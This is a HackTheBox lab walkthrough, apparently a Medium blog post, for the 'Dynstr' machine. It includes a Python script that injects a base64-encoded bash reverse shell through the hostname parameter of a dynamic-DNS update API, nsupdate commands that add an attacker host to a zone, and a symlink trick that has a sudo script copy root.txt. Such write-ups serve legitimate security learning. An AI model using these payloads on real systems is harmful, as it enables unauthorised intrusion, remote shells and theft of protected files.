Dynstr — Hackthebox walkthrough

Kavishka Gihan
7 min readJun 15, 2021

Dynstr was one of the best medium boxes I have ever done. It teaches you a lot while being a really great realistic box. I really recommend this box to anyone who is trying to go from intermediate to advanced.


So as usual I ran my nmap and here is what I got.

command — nmap -p- -sC -sV -A — min-rate=400 — min-parallelism=512

nmap scan

Since It had port 53 open which is not very common to have, I knew HTTP was the entry point to the box. So I checked the port 80 and right off the bat I got a possible username and a password including some domains.

HTTP server

Saying somethings about DNS made me give some special interest on the port 53 as it is usually used to host DNS servers. Since now I have some possible domains, I added all of them and dyna.htb to my /etc/hosts file. (I added dyna.htb as I saw an email address pointing to that domain)

Since this website was really about DNS I looked deep into DNS stuff. So I added the domains I found from the server as subdomains of themselves. It looked something like this.

command — sudo echo “ dyna.htb no-ip.htb dynamicdns.htb dynstr.dyna.htb dynamicdns.dyna.htb dynamicdns.no-ip.htb” >> /etc/hosts

I tired directory brute forcing every domain. I got the same directories every time.

command — ffuf http://dyna.htb/FUZZ -w /usr/share/wordlists/dirb/big.txt

ffuf results

So I tried brute forcing these sub directories too. And I got this

command — ffuf http://dyna.htb/nic/FUZZ -w /usr/share/wordlists/dirb/big.txt

Only one directory. I was kind of a in a dead end with this. So I had to call my friend google to help me. I tried to find known exploits but no luck.

Since this directories I found were a bit off, I tried to see if there are any real world websites with the same directory structure or even an article where these are specified with Google dorks.

Dork — “/nic/update”

Google dorking

And yes.I saw stupid, it was all in the home page, and should have looked a bit more closely.I found an interesting documentation about some kind of an API. Reading it made me understand that with this updates the Dynamic DNS entries.

update request to the API endpoint

Note that you have to specify the base64 encoded string of the username and password.

So I used the credentials I found before from the website.

command — echo dynadns:sndanyd|base64

Since I am a geed (kinda ), instead of doing this from a browser, I used a simple python script to do all this for me.

import requests,base64
from requests.auth import HTTPBasicAuth

res = requests.get(f’http://dyna.htb/nic/update?hostname=dyna.htb&myip=', verify=False, auth=HTTPBasicAuth(‘dynadns’, ‘sndanyd’))

Once I ran this I got a response from the API.

error response of the API

It seemed like some kind of an error. Since It had htb in it, I tried changing the domain I specified and only dynamicdns.no-ip.htb gave me an interesting response.

good response from the API

Since the domain parameter gave me the right response, I paid a bit more attention to it. I tried putting a single quote just before the domain (?hostname=’dynamicdns.no-ip.htb). And it gave me this.

error response from the API

It said ‘nsupdate failed’ (nsupdate is a Dynamic DNS update utility). So I knew that the domain parameter is used for some kind of a command execution. With a lot of trial and error finally figured out a way to do RCE with the this.

I used a bash reverse shell and base64 encoded it.Then I changed the domain parameter to be `echo “YmFzaXXXXXXXXXXXXXXXXXXXX” |base64 -d|bash`dynamicdns.no-ip.htb, so that this back ticks will execute this inside the nsupdate command that is being executed.

command — echo “bash -i &>/dev/tcp/ <&1”|base64

After all the changes, my python script looked something like this.

import requests,base64
from requests.auth import HTTPBasicAuth

rev_shell = ‘`echo “YmFzaCAtaSAmPi9kZXYvdGNwLzEwLjEwLjE0LjkyLzkwOTAgPCYxCg==” |base64 -d|bash`’
data = f”?hostname={rev_shell}dynamicdns.no-ip.htb&myip=”
res = requests.get(f’http://dyna.htb/nic/update{data}', verify=False, auth=HTTPBasicAuth(‘dynadns’, ‘sndanyd’))

Then I started up a listener in 9090 and executed the script hoping to get a reverse shell.

reverse shell

And I got a shell…


I saw there were 2 users as dynstr and bindmgr in thid box. While doing my initial enumeration, I saw some interesting files in bindmgr’s home.

interesting files in bindmgr’s home.

Inspecting these files gave me the private key of the bindmgr user.

private key of the bindmgr user

But when I tried to ssh in, I couldn’t. With this I was again pretty devastated. So I took a step back and went through what I found. I remembered the nsupdate command that was executed in the API update.

So that made me think that, the reason I can’t ssh in is because SSH is only allowed to hosts those who are in the zone. So I took a quick look at the nsupdate utility and found a way to update the zone.

But for that I needed a key. A bit of travel throughout the file system gave me that too. I found the key in the /etc/bind directory.


With all this I managed to add new entry and update the zone.

nsupdate -k /etc/bind/infra.key
update add test.infra.dyna.htb 86400 A
update add 300 PTR test.infra.dyna.htb

Note that the <Enter> specifies an extra enter key before the next command and my IP is reversed in the 3rd command ( ->


After this, I tried to ssh in as bindmgr. And I was able to get SSH access as that user.

SSH in as bindmgr


As my normal enumeraton I ran sudo -l and got this

sudo -l

I was able to run /usr/local/bin/bindmgr.sh as root. So I looked at what that script was. Reveiwing the code made me understand that it checks for a file called .version in the source directory.

file check

If the file exists it copies it to /etc/bind/named.bindmgr direcory. So I inserted “1.1” to .version file and executed the script with sudo. It did copy the .version file and all including files to /etc/bind/named.bindmgr direcory.

command — touch “.version”
echo “1.1” >“.version”
sudo /usr/local/bin/bindmgr.sh
ls -la /etc/bind/named.bindmgr

So with this I knew I had to find a way to read files as root. So what I did was, I tried to see if I have permissions to create a link to the /root directory.

command — ln -s /root/root.txt “.version”

creating the link

And yes I can. Since the /usr/local/bin/bindmgr.sh script copies this .version file to /etc/bind/named.bindmgr as root, now we can execute the script and see the content of the root.txt file. (In case this gives you an error, try again deleting .version file and repeating the same steps)

command — sudo /usr/local/bin/bindmgr.sh

And we have the flag.

Rooted !

“If you have any questions, make sure to leave them down in the comments, or contact me through social media.”

Email — iamkavigihan@gmail.com
Instagram —

Happy Hacking !!! 😄



Kavishka Gihan

Cyber Security Student | Machine author @hackthebox | find me on instagram @_kavi.gihan